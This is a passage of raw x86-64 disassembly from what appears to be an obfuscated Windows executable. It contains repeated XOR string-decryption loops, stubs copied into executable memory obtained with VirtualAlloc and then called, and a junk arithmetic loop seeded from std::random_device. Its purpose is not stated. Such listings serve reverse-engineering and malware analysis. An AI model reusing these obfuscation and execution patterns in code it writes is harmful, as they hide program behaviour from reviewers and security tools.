lea rdx, [rsp + 0x1b4]
mov rcx, rbx
call r8
nop
mov rax, qword [rsp + 0x50]
xor rax, r14
mov qword [rsp + 0xb70], rax
lea rcx, [rsp + 0xaa98]
mov qword [rcx], rax
movups xmm0, xmmword [0x14027f148]
movups xmmword [rsp + 0x6a0], xmm0
movups xmm1, xmmword [0x14027f158]
movups xmmword [rsp + 0x6b0], xmm1
movups xmm0, xmmword [0x14027f168]
movups xmmword [rsp + 0x6c0], xmm0
movsd xmm0, qword [0x14027f178]
movsd qword [rsp + 0x6d0], xmm0
mov r9d, edi
mov ebx, dword [0x140291090]
cmp ebx, 2
jl 0x140240a96
mov edx, edi
movdqa xmmword [rsp + 0x50], xmm10
lea rcx, [rsp + 0x6a4]
movd xmm4, edx
pshufd xmm4, xmm4, 0
paddd xmm4, xmm9
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0x50]
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [rdx + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm9
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0x50]
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x140240921
jmp 0x140240ae5
lea r10, [rsp + 0x6a0]
nop
mov eax, 0x22b63cbf
mul r9d
shr edx, 4
movsx eax, dl
imul r8d, eax, 0x3b
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, 0x20
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x38
jl 0x140240aa0
xorps xmm0, xmm0
movups xmmword [rsp + 0x5d8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x5e8], xmm1
lea rax, [rsp + 0x6a0]
mov r8, r15
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140240b10
lea rdx, [rsp + 0x6a0]
lea rcx, [rsp + 0x5d8]
call fcn.14020c680
nop
lea rcx, [rsp + 0x5d8]
call fcn.1401fdef0
nop
lea rcx, [rsp + 0x5d8]
call fcn.140248aa0
movups xmm4, xmmword [0x14027f410]
movups xmmword [rsp + 0xe8], xmm4
movzx eax, word [0x14027f420]
mov word [rsp + 0xf8], ax
cmp byte [0x14027f421], 0
je 0x140240ebc
mov r9d, edi
cmp ebx, 2
jl 0x140240e56
movdqa xmm2, xmm9
punpckldq xmm2, xmm9
movdqa xmm1, xmm9
punpckhdq xmm1, xmm9
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm9
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd ecx, xmm10
movd xmm0, ecx
paddb xmm2, xmm0
movd eax, xmm4
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0xe8], xmm2
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
movdqa xmm1, xmm11
punpckhdq xmm1, xmm11
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0xec]
xorps xmm2, xmm1
movd dword [rsp + 0xec], xmm2
movdqa xmm2, xmm12
punpckldq xmm2, xmm12
movdqa xmm1, xmm12
punpckhdq xmm1, xmm12
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm12
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0xf0]
xorps xmm2, xmm1
movd dword [rsp + 0xf0], xmm2
movdqa xmm4, xmmword [0x1402805d0]
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm4
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm2, xmm4
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0xf4]
xorps xmm2, xmm1
movd dword [rsp + 0xf4], xmm2
mov r9d, 0x10
mov eax, r9d
lea r10, [rsp + 0xe8]
add r10, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x3b
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, 0x20
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x12
jl 0x140240e70
xorps xmm0, xmm0
movups xmmword [rsp + 0x378], xmm0
mov qword [rsp + 0x388], rdi
mov qword [rsp + 0x390], rdi
lea rax, [rsp + 0xe8]
mov r8, r15
inc r8
cmp byte [rax + r8], 0
jne 0x140240ee2
lea rdx, [rsp + 0xe8]
lea rcx, [rsp + 0x378]
call fcn.14020c680
lea rcx, [rsp + 0x378]
call fcn.1401ffd40
lea rbx, [0x1402134d0]
xorps xmm0, xmm0
movups xmmword [rsp + 0xb70], xmm0
lea rcx, [rsp + 0xaa98]
mov qword [rsp + 0xb78], r14
mov qword [rsp + 0xb80], rcx
mov rax, qword [rcx]
xor rax, r14
mov qword [rsp + 0x50], rax
mov qword [rsp + 0xb70], rax
mov qword [rcx], rdi
mov ecx, edi
mov rax, qword [0x140296a70]
test rax, rax
je 0x140240f89
mov rdx, rdi
nop
cmp rax, r12
je 0x140240f78
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x296a70]
test rax, rax
jne 0x140240f60
jmp 0x140240f89
mov rdx, qword [rsi + rdx*8 + 0x298a10]
test rdx, rdx
jne 0x14024106f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
test rax, rax
jne 0x140240fb2
mov rdx, rdi
jmp 0x14024104e
mov rax, r12
mov rcx, rdx
mov r8, r13
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r8, 1
jne 0x140240fc0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140297738]
mov qword [rsi + rax*8 + 0x296a70], r12
mov qword [rsi + rax*8 + 0x298a10], rdx
inc rax
mov qword [0x140297738], rax
mov rcx, rbx
call rdx
nop
mov rax, qword [rsp + 0x50]
xor rax, r14
mov qword [rsp + 0xb70], rax
lea rcx, [rsp + 0xaa98]
mov qword [rcx], rax
movups xmm0, xmmword [0x14027f070]
movups xmmword [rsp + 0x8d0], xmm0
movups xmm1, xmmword [str.764__81__1___38]
movups xmmword [rsp + 0x8e0], xmm1
movups xmm0, xmmword [0x14027f090]
movups xmmword [rsp + 0x8f0], xmm0
movups xmm1, xmmword [0x14027f0a0]
movups xmmword [rsp + 0x900], xmm1
movups xmm0, xmmword [0x14027f0b0]
movups xmmword [rsp + 0x910], xmm0
movups xmm1, xmmword [0x14027f0c0]
movups xmmword [rsp + 0x920], xmm1
movups xmm0, xmmword [str.olwcf_z]
movups xmmword [rsp + 0x930], xmm0
movups xmm1, xmmword [0x14027f0e0]
movups xmmword [rsp + 0x940], xmm1
movsd xmm0, qword [0x14027f0f0]
movsd qword [rsp + 0x950], xmm0
movzx eax, byte [0x14027f0f8]
mov byte [rsp + 0x958], al
mov r9d, edi
cmp dword [0x140291090], 2
jl 0x1402412d3
movdqa xmmword [rsp + 0x50], xmm10
lea rcx, [rsp + 0x8d4]
nop word [rax + rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm9
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0x50]
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm9
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0x50]
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x88
jl 0x140241150
cmp r9d, 0x89
jge 0x14024133f
movsxd rax, r9d
lea r10, [rsp + 0x8d0]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x3b
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, 0x20
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x89
jl 0x1402412f0
lea rax, [rsp + 0x8d0]
mov qword [rsp + 0x208], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0xb70], xmm0
lea rcx, [rsp + 0xaa98]
mov qword [rsp + 0xb78], r14
mov qword [rsp + 0xb80], rcx
mov rax, qword [rcx]
xor rax, r14
mov qword [rsp + 0x50], rax
mov qword [rsp + 0xb70], rax
mov qword [rcx], rdi
mov edx, edi
mov rcx, qword [0x140295770]
test rcx, rcx
je 0x1402413ca
mov r8, rdi
lea rax, [0x14024a750]
cmp rcx, rax
je 0x1402413b9
inc edx
mov r8d, edx
mov rcx, qword [rsi + rdx*8 + 0x295770]
test rcx, rcx
jne 0x1402413a0
jmp 0x1402413ca
mov r8, qword [rsi + r8*8 + 0x294e00]
test r8, r8
jne 0x1402414bf
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
lea rdx, [0x14024a750]
test rax, rax
jne 0x1402413fa
mov r8, rdi
jmp 0x14024149e
mov rax, rdx
mov rcx, r8
mov r9, r13
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r9, 1
jne 0x140241410
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140294ab0]
mov qword [rsi + rax*8 + 0x295770], rdx
mov qword [rsi + rax*8 + 0x294e00], r8
inc rax
mov qword [0x140294ab0], rax
lea rdx, [rsp + 0x208]
lea rcx, [0x1401fc380]
call r8
nop
mov rax, qword [rsp + 0x50]
xor rax, r14
mov qword [rsp + 0xb70], rax
lea rcx, [rsp + 0xaa98]
mov qword [rcx], rax
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0xa9d4], 0xffffffff
mov dword [rsp + 0x9654], eax
mov edx, 1
nop word [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x9654], eax
inc rdx
cmp rdx, 0x270
jb 0x140241510
mov dword [rsp + 0x9650], 0x270
mov dword [rsp + 0x40], edi
lea rcx, [rsp + 0x50]
call fcn.1401f2240
mov r14, qword [rsp + 0x50]
add r14, 0x5f5e100
mov ebx, 1
nop dword [rax]
lea rcx, [rsp + 0x828]
call fcn.1401f2240
cmp qword [rax], r14
jge 0x1402416ee
mov r15d, 0x186a0
nop dword [rax]
lea rcx, [rsp + 0x9650]
call fcn.14025a000
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x1402415bb
nop dword [rax + rax]
lea rcx, [rsp + 0x9650]
call fcn.14025a000
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x1402415a0
shr rax, 0x20
add eax, 0x7fffff9c
xor eax, 0x80000000
cmove eax, ebx
mov dword [rsp + 0x98], eax
lea rcx, [rsp + 0x9650]
call fcn.14025a000
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14024160b
nop
lea rcx, [rsp + 0x9650]
call fcn.14025a000
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x1402415f0
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0x9650]
call fcn.14025a000
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14024165b
nop
lea rcx, [rsp + 0x9650]
call fcn.14025a000
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x140241640
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
imul eax, ecx
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0x9650]
call fcn.14025a000
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x1402416ab
nop
lea rcx, [rsp + 0x9650]
call fcn.14025a000
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x140241690
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
sub eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
mov ecx, dword [rsp + 0x98]
idiv ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv ecx
mov dword [rsp + 0x40], edx
sub r15, rbx
jne 0x140241580
jmp 0x140241560
mov eax, dword [rsp + 0x40]
movups xmm0, xmmword [0x14027e000]
movups xmmword [rsp + 0x710], xmm0
movups xmm1, xmmword [0x14027e010]
movups xmmword [rsp + 0x720], xmm1
movups xmm0, xmmword [0x14027e020]
movups xmmword [rsp + 0x730], xmm0
movups xmm1, xmmword [0x14027e030]
movups xmmword [rsp + 0x740], xmm1
movsd xmm0, qword [0x14027e040]
movsd qword [rsp + 0x750], xmm0
movzx eax, word [0x14027e048]
mov word [rsp + 0x758], ax
mov r9d, edi
cmp dword [0x140291090], 2
movabs r14, 0xff00ff00ff00ff00
mov r15, 0xffffffffffffffff
jl 0x1402418fd
movdqa xmmword [rsp + 0x50], xmm10
lea rcx, [rsp + 0x714]
nop
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm9
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0x50]
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm9
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0x50]
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x48
jl 0x140241780
cmp r9d, 0x4a
jge 0x14024195c
movsxd rax, r9d
lea r10, [rsp + 0x710]
add r10, rax
nop dword [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x3b
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, 0x20
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x4a
jl 0x140241910
xorps xmm0, xmm0
movups xmmword [rsp + 0x398], xmm0
mov qword [rsp + 0x3a8], rdi
mov qword [rsp + 0x3b0], rdi
lea rax, [rsp + 0x710]
mov r8, r15
inc r8
cmp byte [rax + r8], 0
jne 0x140241982
lea rdx, [rsp + 0x710]
lea rcx, [rsp + 0x398]
call fcn.14020c680
lea rcx, [rsp + 0x398]
call fcn.1401ffd40
lea rbx, [0x140218900]
xorps xmm0, xmm0
movups xmmword [rsp + 0xb70], xmm0
lea rcx, [rsp + 0xaa98]
mov qword [rsp + 0xb78], r14
mov qword [rsp + 0xb80], rcx
mov rax, qword [rcx]
xor rax, r14
mov qword [rsp + 0x50], rax
mov qword [rsp + 0xb70], rax
mov qword [rcx], rdi
mov ecx, edi
mov rax, qword [0x140296a70]
test rax, rax
je 0x140241a29
mov rdx, rdi
nop
cmp rax, r12
je 0x140241a18
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x296a70]
test rax, rax
jne 0x140241a00
jmp 0x140241a29
mov rdx, qword [rsi + rdx*8 + 0x298a10]
test rdx, rdx
jne 0x140241b0f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
test rax, rax
jne 0x140241a52
mov rdx, rdi
jmp 0x140241aee
mov rax, r12
mov rcx, rdx
mov r8, r13
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r8, 1
jne 0x140241a60
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140297738]
mov qword [rsi + rax*8 + 0x296a70], r12
mov qword [rsi + rax*8 + 0x298a10], rdx
inc rax
mov qword [0x140297738], rax
mov rcx, rbx
call rdx
nop
mov rax, qword [rsp + 0x50]
xor rax, r14
lea rcx, [rsp + 0xaa98]
mov qword [rcx], rax
movups xmm0, xmmword [0x14027f2d0]
movups xmmword [rsp + 0x480], xmm0
movups xmm1, xmmword [0x14027f2e0]
movups xmmword [rsp + 0x490], xmm1
movups xmm0, xmmword [0x14027f2f0]
movups xmmword [rsp + 0x4a0], xmm0
movzx eax, byte [0x14027f300]
mov byte [rsp + 0x4b0], al
mov r9d, edi
cmp dword [0x140291090], 2
jl 0x140241d0d
movdqa xmmword [rsp + 0x50], xmm10
lea rcx, [rsp + 0x484]
nop dword [rax]
nop word [rax + rax]
movd xmm4, r9d
